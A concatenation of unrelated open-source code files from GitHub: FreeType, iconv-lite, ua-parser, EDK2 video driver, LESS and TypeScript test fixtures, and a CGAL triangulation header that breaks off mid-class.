/* */
/* Copyright 2002, 2003, 2006 by */
/* David Turner, Robert Wilhelm, and Werner Lemberg. */
/* */
/* This file is part of the FreeType project, and may only be used, */
/* modified, and distributed under the terms of the FreeType project */
/* license, LICENSE.TXT. By continuing to use, modify, or distribute */
/* this file you indicate that you have read the license and */
/* understand and accept it fully. */
/* */
/***************************************************************************/
#ifndef __T1CMAP_H__
#define __T1CMAP_H__
#include <ft2build.h>
#include FT_INTERNAL_OBJECTS_H
#include FT_INTERNAL_TYPE1_TYPES_H
FT_BEGIN_HEADER
/*************************************************************************/
/*************************************************************************/
/***** *****/
/***** TYPE1 STANDARD (AND EXPERT) ENCODING CMAPS *****/
/***** *****/
/*************************************************************************/
/*************************************************************************/
/* standard (and expert) encoding cmaps */
typedef struct T1_CMapStdRec_* T1_CMapStd;
typedef struct T1_CMapStdRec_
{
FT_CMapRec cmap;
const FT_UShort* code_to_sid;
PS_Adobe_Std_StringsFunc sid_to_string;
FT_UInt num_glyphs;
const char* const* glyph_names;
} T1_CMapStdRec;
FT_CALLBACK_TABLE const FT_CMap_ClassRec
t1_cmap_standard_class_rec;
FT_CALLBACK_TABLE const FT_CMap_ClassRec
t1_cmap_expert_class_rec;
/*************************************************************************/
/*************************************************************************/
/***** *****/
/***** TYPE1 CUSTOM ENCODING CMAP *****/
/***** *****/
/*************************************************************************/
/*************************************************************************/
typedef struct T1_CMapCustomRec_* T1_CMapCustom;
typedef struct T1_CMapCustomRec_
{
FT_CMapRec cmap;
FT_UInt first;
FT_UInt count;
FT_UShort* indices;
} T1_CMapCustomRec;
FT_CALLBACK_TABLE const FT_CMap_ClassRec
t1_cmap_custom_class_rec;
/*************************************************************************/
/*************************************************************************/
/***** *****/
/***** TYPE1 SYNTHETIC UNICODE ENCODING CMAP *****/
/***** *****/
/*************************************************************************/
/*************************************************************************/
/* unicode (synthetic) cmaps */
FT_CALLBACK_TABLE const FT_CMap_ClassRec
t1_cmap_unicode_class_rec;
/* */
FT_END_HEADER
#endif /* __T1CMAP_H__ */
/* END */
|
{
"pile_set_name": "Github"
}
|
"use strict";
var Buffer = require("buffer").Buffer;
// Note: not polyfilled with safer-buffer on a purpose, as overrides Buffer
// == Extend Node primitives to use iconv-lite =================================
module.exports = function (iconv) {
var original = undefined; // Place to keep original methods.
// Node authors rewrote Buffer internals to make it compatible with
// Uint8Array and we cannot patch key functions since then.
// Note: this does use older Buffer API on a purpose
iconv.supportsNodeEncodingsExtension = !(Buffer.from || new Buffer(0) instanceof Uint8Array);
iconv.extendNodeEncodings = function extendNodeEncodings() {
if (original) return;
original = {};
if (!iconv.supportsNodeEncodingsExtension) {
console.error("ACTION NEEDED: require('iconv-lite').extendNodeEncodings() is not supported in your version of Node");
console.error("See more info at https://github.com/ashtuchkin/iconv-lite/wiki/Node-v4-compatibility");
return;
}
var nodeNativeEncodings = {
'hex': true, 'utf8': true, 'utf-8': true, 'ascii': true, 'binary': true,
'base64': true, 'ucs2': true, 'ucs-2': true, 'utf16le': true, 'utf-16le': true,
};
Buffer.isNativeEncoding = function(enc) {
return enc && nodeNativeEncodings[enc.toLowerCase()];
}
// -- SlowBuffer -----------------------------------------------------------
var SlowBuffer = require('buffer').SlowBuffer;
original.SlowBufferToString = SlowBuffer.prototype.toString;
SlowBuffer.prototype.toString = function(encoding, start, end) {
encoding = String(encoding || 'utf8').toLowerCase();
// Use native conversion when possible
if (Buffer.isNativeEncoding(encoding))
return original.SlowBufferToString.call(this, encoding, start, end);
// Otherwise, use our decoding method.
if (typeof start == 'undefined') start = 0;
if (typeof end == 'undefined') end = this.length;
return iconv.decode(this.slice(start, end), encoding);
}
original.SlowBufferWrite = SlowBuffer.prototype.write;
SlowBuffer.prototype.write = function(string, offset, length, encoding) {
// Support both (string, offset, length, encoding)
// and the legacy (string, encoding, offset, length)
if (isFinite(offset)) {
if (!isFinite(length)) {
encoding = length;
length = undefined;
}
} else { // legacy
var swap = encoding;
encoding = offset;
offset = length;
length = swap;
}
offset = +offset || 0;
var remaining = this.length - offset;
if (!length) {
length = remaining;
} else {
length = +length;
if (length > remaining) {
length = remaining;
}
}
encoding = String(encoding || 'utf8').toLowerCase();
// Use native conversion when possible
if (Buffer.isNativeEncoding(encoding))
return original.SlowBufferWrite.call(this, string, offset, length, encoding);
if (string.length > 0 && (length < 0 || offset < 0))
throw new RangeError('attempt to write beyond buffer bounds');
// Otherwise, use our encoding method.
var buf = iconv.encode(string, encoding);
if (buf.length < length) length = buf.length;
buf.copy(this, offset, 0, length);
return length;
}
// -- Buffer ---------------------------------------------------------------
original.BufferIsEncoding = Buffer.isEncoding;
Buffer.isEncoding = function(encoding) {
return Buffer.isNativeEncoding(encoding) || iconv.encodingExists(encoding);
}
original.BufferByteLength = Buffer.byteLength;
Buffer.byteLength = SlowBuffer.byteLength = function(str, encoding) {
encoding = String(encoding || 'utf8').toLowerCase();
// Use native conversion when possible
if (Buffer.isNativeEncoding(encoding))
return original.BufferByteLength.call(this, str, encoding);
// Slow, I know, but we don't have a better way yet.
return iconv.encode(str, encoding).length;
}
original.BufferToString = Buffer.prototype.toString;
Buffer.prototype.toString = function(encoding, start, end) {
encoding = String(encoding || 'utf8').toLowerCase();
// Use native conversion when possible
if (Buffer.isNativeEncoding(encoding))
return original.BufferToString.call(this, encoding, start, end);
// Otherwise, use our decoding method.
if (typeof start == 'undefined') start = 0;
if (typeof end == 'undefined') end = this.length;
return iconv.decode(this.slice(start, end), encoding);
}
original.BufferWrite = Buffer.prototype.write;
Buffer.prototype.write = function(string, offset, length, encoding) {
var _offset = offset, _length = length, _encoding = encoding;
// Support both (string, offset, length, encoding)
// and the legacy (string, encoding, offset, length)
if (isFinite(offset)) {
if (!isFinite(length)) {
encoding = length;
length = undefined;
}
} else { // legacy
var swap = encoding;
encoding = offset;
offset = length;
length = swap;
}
encoding = String(encoding || 'utf8').toLowerCase();
// Use native conversion when possible
if (Buffer.isNativeEncoding(encoding))
return original.BufferWrite.call(this, string, _offset, _length, _encoding);
offset = +offset || 0;
var remaining = this.length - offset;
if (!length) {
length = remaining;
} else {
length = +length;
if (length > remaining) {
length = remaining;
}
}
if (string.length > 0 && (length < 0 || offset < 0))
throw new RangeError('attempt to write beyond buffer bounds');
// Otherwise, use our encoding method.
var buf = iconv.encode(string, encoding);
if (buf.length < length) length = buf.length;
buf.copy(this, offset, 0, length);
return length;
// TODO: Set _charsWritten.
}
// -- Readable -------------------------------------------------------------
if (iconv.supportsStreams) {
var Readable = require('stream').Readable;
original.ReadableSetEncoding = Readable.prototype.setEncoding;
Readable.prototype.setEncoding = function setEncoding(enc, options) {
// Use our own decoder, it has the same interface.
// We cannot use original function as it doesn't handle BOM-s.
this._readableState.decoder = iconv.getDecoder(enc, options);
this._readableState.encoding = enc;
}
Readable.prototype.collect = iconv._collect;
}
}
// Remove iconv-lite Node primitive extensions.
iconv.undoExtendNodeEncodings = function undoExtendNodeEncodings() {
if (!iconv.supportsNodeEncodingsExtension)
return;
if (!original)
throw new Error("require('iconv-lite').undoExtendNodeEncodings(): Nothing to undo; extendNodeEncodings() is not called.")
delete Buffer.isNativeEncoding;
var SlowBuffer = require('buffer').SlowBuffer;
SlowBuffer.prototype.toString = original.SlowBufferToString;
SlowBuffer.prototype.write = original.SlowBufferWrite;
Buffer.isEncoding = original.BufferIsEncoding;
Buffer.byteLength = original.BufferByteLength;
Buffer.prototype.toString = original.BufferToString;
Buffer.prototype.write = original.BufferWrite;
if (iconv.supportsStreams) {
var Readable = require('stream').Readable;
Readable.prototype.setEncoding = original.ReadableSetEncoding;
delete Readable.prototype.collect;
}
original = undefined;
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* ua-parser
*
* Copyright (c) 2011-2013 Dave Olsen, http://dmolsen.com
* Copyright (c) 2013-2014 Lars Strojny, http://usrportage.de
*
* Released under the MIT license
*/
namespace UAParser;
use UAParser\Result\OperatingSystem;
class OperatingSystemParser extends AbstractParser
{
/**
* Attempts to see if the user agent matches an operating system regex from regexes.php
*
* @param string $userAgent a user agent string to test
* @return OperatingSystem
*/
public function parseOperatingSystem($userAgent)
{
$os = new OperatingSystem();
list($regex, $matches) = $this->tryMatch($this->regexes['os_parsers'], $userAgent);
if ($matches) {
$os->family = $this->replaceString($regex, 'os_replacement', $matches[1]);
$os->major = $this->replaceString($regex, 'os_v1_replacement', $matches[2]);
$os->minor = $this->replaceString($regex, 'os_v2_replacement', $matches[3]);
$os->patch = $this->replaceString($regex, 'os_v3_replacement', $matches[4]);
$os->patchMinor = $this->replaceString($regex, 'os_v4_replacement', $matches[5]);
}
return $os;
}
}
|
{
"pile_set_name": "Github"
}
|
/** @file
Copyright (c) 2006 - 2010, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials
are licensed and made available under the terms and conditions
of the BSD License which accompanies this distribution. The
full text of the license may be found at
http://opensource.org/licenses/bsd-license.php
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#ifndef _BIOS_GRAPHICS_OUTPUT_H_
#define _BIOS_GRAPHICS_OUTPUT_H_
#include <FrameworkDxe.h>
#include <Protocol/PciIo.h>
#include <Protocol/EdidActive.h>
#include <Protocol/DevicePath.h>
#include <Protocol/DevicePathToText.h>
#include <Protocol/EdidDiscovered.h>
#include <Protocol/LegacyBios.h>
#include <Protocol/VgaMiniPort.h>
#include <Protocol/GraphicsOutput.h>
#include <Protocol/EdidOverride.h>
#include <Guid/StatusCodeDataTypeId.h>
#include <Guid/LegacyBios.h>
#include <Guid/EventGroup.h>
#include <Guid/GlobalVariable.h>
#include <Library/PcdLib.h>
#include <Library/DebugLib.h>
#include <Library/ReportStatusCodeLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/UefiDriverEntryPoint.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Library/UefiLib.h>
#include <Library/DevicePathLib.h>
#include <Library/MemoryAllocationLib.h>
//#include <Library/GenericBdsLib.h>
#include <IndustryStandard/Pci.h>
#include <IndustryStandard/VesaBiosExtensions.h>
//
// Packed format support: The number of bits reserved for each of the colors and the actual
// position of RGB in the frame buffer is specified in the VBE Mode information
//
typedef struct {
UINT8 Position; // Position of the color
UINT8 Mask; // The number of bits expressed as a mask
} BIOS_VIDEO_COLOR_PLACEMENT;
//
// BIOS Graphics Output Graphical Mode Data
//
typedef struct {
UINT16 VbeModeNumber;
UINT16 BytesPerScanLine;
VOID *LinearFrameBuffer;
UINTN FrameBufferSize;
UINT32 HorizontalResolution;
UINT32 VerticalResolution;
UINT32 ColorDepth;
UINT32 RefreshRate;
UINT32 BitsPerPixel;
BIOS_VIDEO_COLOR_PLACEMENT Red;
BIOS_VIDEO_COLOR_PLACEMENT Green;
BIOS_VIDEO_COLOR_PLACEMENT Blue;
BIOS_VIDEO_COLOR_PLACEMENT Reserved;
EFI_GRAPHICS_PIXEL_FORMAT PixelFormat;
EFI_PIXEL_BITMASK PixelBitMask;
} BIOS_VIDEO_MODE_DATA;
//
// BIOS video child handle private data Structure
//
#define BIOS_VIDEO_DEV_SIGNATURE SIGNATURE_32 ('B', 'V', 'M', 'p')
typedef struct {
UINTN Signature;
EFI_HANDLE Handle;
//
// Consumed Protocols
//
EFI_PCI_IO_PROTOCOL *PciIo;
EFI_LEGACY_BIOS_PROTOCOL *LegacyBios;
//
// Original PCI attributes
//
UINT64 OriginalPciAttributes;
//
// Produced Protocols
//
EFI_GRAPHICS_OUTPUT_PROTOCOL GraphicsOutput;
EFI_EDID_DISCOVERED_PROTOCOL EdidDiscovered;
EFI_EDID_ACTIVE_PROTOCOL EdidActive;
EFI_VGA_MINI_PORT_PROTOCOL VgaMiniPort;
//
// General fields
//
BOOLEAN VgaCompatible;
BOOLEAN ProduceGraphicsOutput;
//
// Graphics Output Protocol related fields
//
BOOLEAN HardwareNeedsStarting;
UINTN CurrentMode;
UINTN MaxMode;
BIOS_VIDEO_MODE_DATA *ModeData;
UINT8 *LineBuffer;
EFI_GRAPHICS_OUTPUT_BLT_PIXEL *VbeFrameBuffer;
UINT8 *VgaFrameBuffer;
//
// VESA Bios Extensions related fields
//
UINTN NumberOfPagesBelow1MB; // Number of 4KB pages in PagesBelow1MB
EFI_PHYSICAL_ADDRESS PagesBelow1MB; // Buffer for all VBE Information Blocks
VESA_BIOS_EXTENSIONS_INFORMATION_BLOCK *VbeInformationBlock; // 0x200 bytes. Must be allocated below 1MB
VESA_BIOS_EXTENSIONS_MODE_INFORMATION_BLOCK *VbeModeInformationBlock; // 0x100 bytes. Must be allocated below 1MB
VESA_BIOS_EXTENSIONS_EDID_DATA_BLOCK *VbeEdidDataBlock; // 0x80 bytes. Must be allocated below 1MB
VESA_BIOS_EXTENSIONS_CRTC_INFORMATION_BLOCK *VbeCrtcInformationBlock; // 59 bytes. Must be allocated below 1MB
UINTN VbeSaveRestorePages; // Number of 4KB pages in VbeSaveRestoreBuffer
EFI_PHYSICAL_ADDRESS VbeSaveRestoreBuffer; // Must be allocated below 1MB
//
// Status code
//
EFI_DEVICE_PATH_PROTOCOL *GopDevicePath;
EFI_EVENT ExitBootServicesEvent;
} BIOS_VIDEO_DEV;
#define BIOS_VIDEO_DEV_FROM_PCI_IO_THIS(a) CR (a, BIOS_VIDEO_DEV, PciIo, BIOS_VIDEO_DEV_SIGNATURE)
#define BIOS_VIDEO_DEV_FROM_GRAPHICS_OUTPUT_THIS(a) CR (a, BIOS_VIDEO_DEV, GraphicsOutput, BIOS_VIDEO_DEV_SIGNATURE)
#define BIOS_VIDEO_DEV_FROM_VGA_MINI_PORT_THIS(a) CR (a, BIOS_VIDEO_DEV, VgaMiniPort, BIOS_VIDEO_DEV_SIGNATURE)
#define GRAPHICS_OUTPUT_INVALIDE_MODE_NUMBER 0xffff
//
// Global Variables
//
extern EFI_DRIVER_BINDING_PROTOCOL gBiosVideoDriverBinding;
extern EFI_COMPONENT_NAME_PROTOCOL gBiosVideoComponentName;
extern EFI_COMPONENT_NAME2_PROTOCOL gBiosVideoComponentName2;
//
// Driver Binding Protocol functions
//
/**
Supported.
@param This Pointer to driver binding protocol
@param Controller Controller handle to connect
@param RemainingDevicePath A pointer to the remaining portion of a device
path
@retval EFI_STATUS EFI_SUCCESS:This controller can be managed by this
driver, Otherwise, this controller cannot be
managed by this driver
**/
EFI_STATUS
EFIAPI
BiosVideoDriverBindingSupported (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
/**
Install Graphics Output Protocol onto VGA device handles.
@param This Pointer to driver binding protocol
@param Controller Controller handle to connect
@param RemainingDevicePath A pointer to the remaining portion of a device
path
@return EFI_STATUS
**/
EFI_STATUS
EFIAPI
BiosVideoDriverBindingStart (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
/**
Stop.
@param This Pointer to driver binding protocol
@param Controller Controller handle to connect
@param NumberOfChildren Number of children handle created by this driver
@param ChildHandleBuffer Buffer containing child handle created
@retval EFI_SUCCESS Driver disconnected successfully from controller
@retval EFI_UNSUPPORTED Cannot find BIOS_VIDEO_DEV structure
**/
EFI_STATUS
EFIAPI
BiosVideoDriverBindingStop (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN UINTN NumberOfChildren,
IN EFI_HANDLE *ChildHandleBuffer
);
//
// Private worker functions
//
/**
Check for VBE device.
@param BiosVideoPrivate Pointer to BIOS_VIDEO_DEV structure
@retval EFI_SUCCESS VBE device found
**/
EFI_STATUS
BiosVideoCheckForVbe (
IN OUT BIOS_VIDEO_DEV *BiosVideoPrivate
);
/**
Check for VGA device.
@param BiosVideoPrivate Pointer to BIOS_VIDEO_DEV structure
@retval EFI_SUCCESS Standard VGA device found
**/
EFI_STATUS
BiosVideoCheckForVga (
IN OUT BIOS_VIDEO_DEV *BiosVideoPrivate
);
/**
Release resource for biso video instance.
@param BiosVideoPrivate Video child device private data structure
**/
VOID
BiosVideoDeviceReleaseResource (
BIOS_VIDEO_DEV *BiosVideoPrivate
);
//
// BIOS Graphics Output Protocol functions
//
/**
Graphics Output protocol interface to get video mode.
@param This Protocol instance pointer.
@param ModeNumber The mode number to return information on.
@param SizeOfInfo A pointer to the size, in bytes, of the Info
buffer.
@param Info Caller allocated buffer that returns information
about ModeNumber.
@retval EFI_SUCCESS Mode information returned.
@retval EFI_BUFFER_TOO_SMALL The Info buffer was too small.
@retval EFI_DEVICE_ERROR A hardware error occurred trying to retrieve the
video mode.
@retval EFI_NOT_STARTED Video display is not initialized. Call SetMode ()
@retval EFI_INVALID_PARAMETER One of the input args was NULL.
**/
EFI_STATUS
EFIAPI
BiosVideoGraphicsOutputQueryMode (
IN EFI_GRAPHICS_OUTPUT_PROTOCOL *This,
IN UINT32 ModeNumber,
OUT UINTN *SizeOfInfo,
OUT EFI_GRAPHICS_OUTPUT_MODE_INFORMATION **Info
);
/**
Graphics Output protocol interface to set video mode.
@param This Protocol instance pointer.
@param ModeNumber The mode number to be set.
@retval EFI_SUCCESS Graphics mode was changed.
@retval EFI_DEVICE_ERROR The device had an error and could not complete the
request.
@retval EFI_UNSUPPORTED ModeNumber is not supported by this device.
**/
EFI_STATUS
EFIAPI
BiosVideoGraphicsOutputSetMode (
IN EFI_GRAPHICS_OUTPUT_PROTOCOL * This,
IN UINT32 ModeNumber
);
/**
Graphics Output protocol instance to block transfer for VBE device.
@param This Pointer to Graphics Output protocol instance
@param BltBuffer The data to transfer to screen
@param BltOperation The operation to perform
@param SourceX The X coordinate of the source for BltOperation
@param SourceY The Y coordinate of the source for BltOperation
@param DestinationX The X coordinate of the destination for
BltOperation
@param DestinationY The Y coordinate of the destination for
BltOperation
@param Width The width of a rectangle in the blt rectangle in
pixels
@param Height The height of a rectangle in the blt rectangle in
pixels
@param Delta Not used for EfiBltVideoFill and
EfiBltVideoToVideo operation. If a Delta of 0 is
used, the entire BltBuffer will be operated on. If
a subrectangle of the BltBuffer is used, then
Delta represents the number of bytes in a row of
the BltBuffer.
@retval EFI_INVALID_PARAMETER Invalid parameter passed in
@retval EFI_SUCCESS Blt operation success
**/
EFI_STATUS
EFIAPI
BiosVideoGraphicsOutputVbeBlt (
IN EFI_GRAPHICS_OUTPUT_PROTOCOL *This,
IN EFI_GRAPHICS_OUTPUT_BLT_PIXEL *BltBuffer, OPTIONAL
IN EFI_GRAPHICS_OUTPUT_BLT_OPERATION BltOperation,
IN UINTN SourceX,
IN UINTN SourceY,
IN UINTN DestinationX,
IN UINTN DestinationY,
IN UINTN Width,
IN UINTN Height,
IN UINTN Delta
);
/**
Grahpics Output protocol instance to block transfer for VGA device.
@param This Pointer to Grahpics Output protocol instance
@param BltBuffer The data to transfer to screen
@param BltOperation The operation to perform
@param SourceX The X coordinate of the source for BltOperation
@param SourceY The Y coordinate of the source for BltOperation
@param DestinationX The X coordinate of the destination for
BltOperation
@param DestinationY The Y coordinate of the destination for
BltOperation
@param Width The width of a rectangle in the blt rectangle in
pixels
@param Height The height of a rectangle in the blt rectangle in
pixels
@param Delta Not used for EfiBltVideoFill and
EfiBltVideoToVideo operation. If a Delta of 0 is
used, the entire BltBuffer will be operated on. If
a subrectangle of the BltBuffer is used, then
Delta represents the number of bytes in a row of
the BltBuffer.
@retval EFI_INVALID_PARAMETER Invalid parameter passed in
@retval EFI_SUCCESS Blt operation success
**/
EFI_STATUS
EFIAPI
BiosVideoGraphicsOutputVgaBlt (
IN EFI_GRAPHICS_OUTPUT_PROTOCOL *This,
IN EFI_GRAPHICS_OUTPUT_BLT_PIXEL *BltBuffer, OPTIONAL
IN EFI_GRAPHICS_OUTPUT_BLT_OPERATION BltOperation,
IN UINTN SourceX,
IN UINTN SourceY,
IN UINTN DestinationX,
IN UINTN DestinationY,
IN UINTN Width,
IN UINTN Height,
IN UINTN Delta
);
//
// BIOS VGA Mini Port Protocol functions
//
/**
VgaMiniPort protocol interface to set mode.
@param This Pointer to VgaMiniPort protocol instance
@param ModeNumber The index of the mode
@retval EFI_UNSUPPORTED The requested mode is not supported
@retval EFI_SUCCESS The requested mode is set successfully
**/
EFI_STATUS
EFIAPI
BiosVideoVgaMiniPortSetMode (
IN EFI_VGA_MINI_PORT_PROTOCOL *This,
IN UINTN ModeNumber
);
/**
Event handler for Exit Boot Service.
@param Event The event that be siganlled when exiting boot service.
@param Context Pointer to instance of BIOS_VIDEO_DEV.
**/
VOID
EFIAPI
BiosVideoNotifyExitBootServices (
IN EFI_EVENT Event,
IN VOID *Context
);
//
// Standard VGA Definitions
//
#define VGA_HORIZONTAL_RESOLUTION 640
#define VGA_VERTICAL_RESOLUTION 480
#define VGA_NUMBER_OF_BIT_PLANES 4
#define VGA_PIXELS_PER_BYTE 8
#define VGA_BYTES_PER_SCAN_LINE (VGA_HORIZONTAL_RESOLUTION / VGA_PIXELS_PER_BYTE)
#define VGA_BYTES_PER_BIT_PLANE (VGA_VERTICAL_RESOLUTION * VGA_BYTES_PER_SCAN_LINE)
#define VGA_GRAPHICS_CONTROLLER_ADDRESS_REGISTER 0x3ce
#define VGA_GRAPHICS_CONTROLLER_DATA_REGISTER 0x3cf
#define VGA_GRAPHICS_CONTROLLER_SET_RESET_REGISTER 0x00
#define VGA_GRAPHICS_CONTROLLER_ENABLE_SET_RESET_REGISTER 0x01
#define VGA_GRAPHICS_CONTROLLER_COLOR_COMPARE_REGISTER 0x02
#define VGA_GRAPHICS_CONTROLLER_DATA_ROTATE_REGISTER 0x03
#define VGA_GRAPHICS_CONTROLLER_FUNCTION_REPLACE 0x00
#define VGA_GRAPHICS_CONTROLLER_FUNCTION_AND 0x08
#define VGA_GRAPHICS_CONTROLLER_FUNCTION_OR 0x10
#define VGA_GRAPHICS_CONTROLLER_FUNCTION_XOR 0x18
#define VGA_GRAPHICS_CONTROLLER_READ_MAP_SELECT_REGISTER 0x04
#define VGA_GRAPHICS_CONTROLLER_MODE_REGISTER 0x05
#define VGA_GRAPHICS_CONTROLLER_READ_MODE_0 0x00
#define VGA_GRAPHICS_CONTROLLER_READ_MODE_1 0x08
#define VGA_GRAPHICS_CONTROLLER_WRITE_MODE_0 0x00
#define VGA_GRAPHICS_CONTROLLER_WRITE_MODE_1 0x01
#define VGA_GRAPHICS_CONTROLLER_WRITE_MODE_2 0x02
#define VGA_GRAPHICS_CONTROLLER_WRITE_MODE_3 0x03
#define VGA_GRAPHICS_CONTROLLER_MISCELLANEOUS_REGISTER 0x06
#define VGA_GRAPHICS_CONTROLLER_COLOR_DONT_CARE_REGISTER 0x07
#define VGA_GRAPHICS_CONTROLLER_BIT_MASK_REGISTER 0x08
/**
Install child handles if the Handle supports MBR format.
@param This Calling context.
@param ParentHandle Parent Handle
@param ParentPciIo Parent PciIo interface
@param ParentLegacyBios Parent LegacyBios interface
@param ParentDevicePath Parent Device Path
@param RemainingDevicePath Remaining Device Path
@param OriginalPciAttributes Original PCI Attributes
@retval EFI_SUCCESS If a child handle was added
@retval other A child handle was not added
**/
EFI_STATUS
BiosVideoChildHandleInstall (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE ParentHandle,
IN EFI_PCI_IO_PROTOCOL *ParentPciIo,
IN EFI_LEGACY_BIOS_PROTOCOL *ParentLegacyBios,
IN EFI_DEVICE_PATH_PROTOCOL *ParentDevicePath,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
/**
Deregister an video child handle and free resources.
@param This Protocol instance pointer.
@param Controller Video controller handle
@param Handle Video child handle
@return EFI_STATUS
**/
EFI_STATUS
BiosVideoChildHandleUninstall (
EFI_DRIVER_BINDING_PROTOCOL *This,
EFI_HANDLE Controller,
EFI_HANDLE Handle
);
/**
Release resource for biso video instance.
@param BiosVideoPrivate Video child device private data structure
**/
VOID
BiosVideoDeviceReleaseResource (
BIOS_VIDEO_DEV *BiosVideoPrivate
);
/**
Check if all video child handles have been uninstalled.
@param Controller Video controller handle
@return TRUE Child handles exist.
@return FALSE All video child handles have been uninstalled.
**/
BOOLEAN
HasChildHandle (
IN EFI_HANDLE Controller
);
#endif
|
{
"pile_set_name": "Github"
}
|
{
"type": "function",
"content": [
{
"type": "ident",
"content": "test",
"syntax": "less",
"start": {
"line": 1,
"column": 1
},
"end": {
"line": 1,
"column": 4
}
},
{
"type": "arguments",
"content": [
{
"type": "ident",
"content": "x",
"syntax": "less",
"start": {
"line": 1,
"column": 6
},
"end": {
"line": 1,
"column": 6
}
},
{
"type": "operator",
"content": ",",
"syntax": "less",
"start": {
"line": 1,
"column": 7
},
"end": {
"line": 1,
"column": 7
}
},
{
"type": "ident",
"content": "y",
"syntax": "less",
"start": {
"line": 1,
"column": 8
},
"end": {
"line": 1,
"column": 8
}
}
],
"syntax": "less",
"start": {
"line": 1,
"column": 5
},
"end": {
"line": 1,
"column": 9
}
}
],
"syntax": "less",
"start": {
"line": 1,
"column": 1
},
"end": {
"line": 1,
"column": 9
}
}
|
{
"pile_set_name": "Github"
}
|
///<reference path="fourslash.ts"/>
////enum Foo { a, b, c }
/////**/class Bar { }
goTo.marker();
edit.deleteAtCaret('class Bar { }'.length);
verify.navigationTree({
"text": "<global>",
"kind": "script",
"childItems": [
{
"text": "Foo",
"kind": "enum",
"childItems": [
{
"text": "a",
"kind": "enum member"
},
{
"text": "b",
"kind": "enum member"
},
{
"text": "c",
"kind": "enum member"
}
]
}
]
});
verify.navigationBar([
{
"text": "<global>",
"kind": "script",
"childItems": [
{
"text": "Foo",
"kind": "enum"
}
]
},
{
"text": "Foo",
"kind": "enum",
"childItems": [
{
"text": "a",
"kind": "enum member"
},
{
"text": "b",
"kind": "enum member"
},
{
"text": "c",
"kind": "enum member"
}
],
"indent": 1
}
]);
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2004,2006-2009, 2017 INRIA Sophia-Antipolis (France).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org).
//
// $URL$
// $Id$
// SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial
//
//
// Author(s) : Sylvain Pion <Sylvain.Pion@sophia.inria.fr>
// Nico Kruithof <Nico.Kruithof@sophia.inria.fr>
// Manuel Caroli <Manuel.Caroli@sophia.inria.fr>
#ifndef CGAL_PERIODIC_3_DELAUNAY_TRIANGULATION_FILTERED_TRAITS_3_H
#define CGAL_PERIODIC_3_DELAUNAY_TRIANGULATION_FILTERED_TRAITS_3_H
#include <CGAL/license/Periodic_3_triangulation_3.h>
#include <CGAL/internal/Periodic_3_triangulation_filtered_traits_3.h>
#include <CGAL/Periodic_3_Delaunay_triangulation_traits_3.h>
#include <CGAL/basic.h>
#include <CGAL/config.h>
#include <CGAL/internal/Has_boolean_tags.h>
#include <CGAL/Interval_nt.h>
#include <CGAL/Uncertain.h>
#include <CGAL/Profile_counter.h>
namespace CGAL {
// The first template item is supposed to be a Filtered_kernel-like kernel.
template <typename K_, typename Off_>
class Periodic_3_Delaunay_triangulation_filtered_traits_base_3
: public Periodic_3_Delaunay_triangulation_traits_base_3<K_, Off_>
{
typedef Periodic_3_Delaunay_triangulation_traits_base_3<K_, Off_> Base;
typedef K_ Kernel;
// Exact traits is based on the exact kernel.
typedef Periodic_3_Delaunay_triangulation_traits_3<typename Kernel::Exact_kernel,
Off_> Exact_traits;
// Filtering traits is based on the filtering kernel.
typedef Periodic_3_Delaunay_triangulation_traits_3<typename Kernel::Approximate_kernel,
Off_> Filtering_traits;
private:
typedef typename Kernel::C2E C2E;
typedef typename Kernel::C2F C2F;
typedef typename Kernel::Iso_cuboid_3 Iso_cuboid_3;
public:
virtual ~Periodic_3_Delaunay_triangulation_filtered_traits_base_3() { }
Periodic_3_Delaunay_triangulation_filtered_traits_base_3(const Iso_cuboid_3& domain,
const Kernel& k)
:
Base(domain, k),
Delaunay_traits_e(C2E()(domain)),
Delaunay_traits_f(C2F()(domain))
{
// Problem 1: above is a default initialization of the kernel in the traits.
// Hence, if the kernel has members and we use filtered traits, then
// the members will be default constructed here...
// Problem 2: we have built filtered traits in P3Tfiltered_traits_3 and now
// we also need those two...
}
virtual void set_domain(const Iso_cuboid_3& domain)
{
this->_domain = domain;
this->set_filtrating_traits(domain);
set_filtrating_Delaunay_traits(domain);
}
void set_filtrating_Delaunay_traits(const Iso_cuboid_3& domain)
{
Delaunay_traits_e.set_domain(C2E()(domain));
Delaunay_traits_f.set_domain(C2F()(domain));
}
public:
typedef Filtered_predicate<
typename Exact_traits::Side_of_oriented_sphere_3,
typename Filtering_traits::Side_of_oriented_sphere_3,
Offset_converter_3<C2E>,
Offset_converter_3<C2F> > Side_of_oriented_sphere_3;
typedef Filtered_predicate<
typename Exact_traits::Compare_distance_3,
typename Filtering_traits::Compare_distance_3,
Offset_converter_3<C2E>,
Offset_converter_3<C2F> > Compare_distance_3;
typedef Filtered_predicate<
typename Exact_traits::Coplanar_orientation_3,
typename Filtering_traits::Coplanar_orientation_3,
Offset_converter_3<C2E>,
Offset_converter_3<C2F> > Coplanar_orientation_3;
typedef Filtered_predicate<
typename Exact_traits::Coplanar_side_of_bounded_circle_3,
typename Filtering_traits::Coplanar_side_of_bounded_circle_3,
Offset_converter_3<C2E>,
Offset_converter_3<C2F> > Coplanar_side_of_bounded_circle_3;
typedef Filtered_predicate<
typename Exact_traits::Side_of_bounded_sphere_3,
typename Filtering_traits::Side_of_bounded_sphere_3,
Offset_converter_3<C2E>,
Offset_converter_3<C2F> > Side_of_bounded_sphere_3;
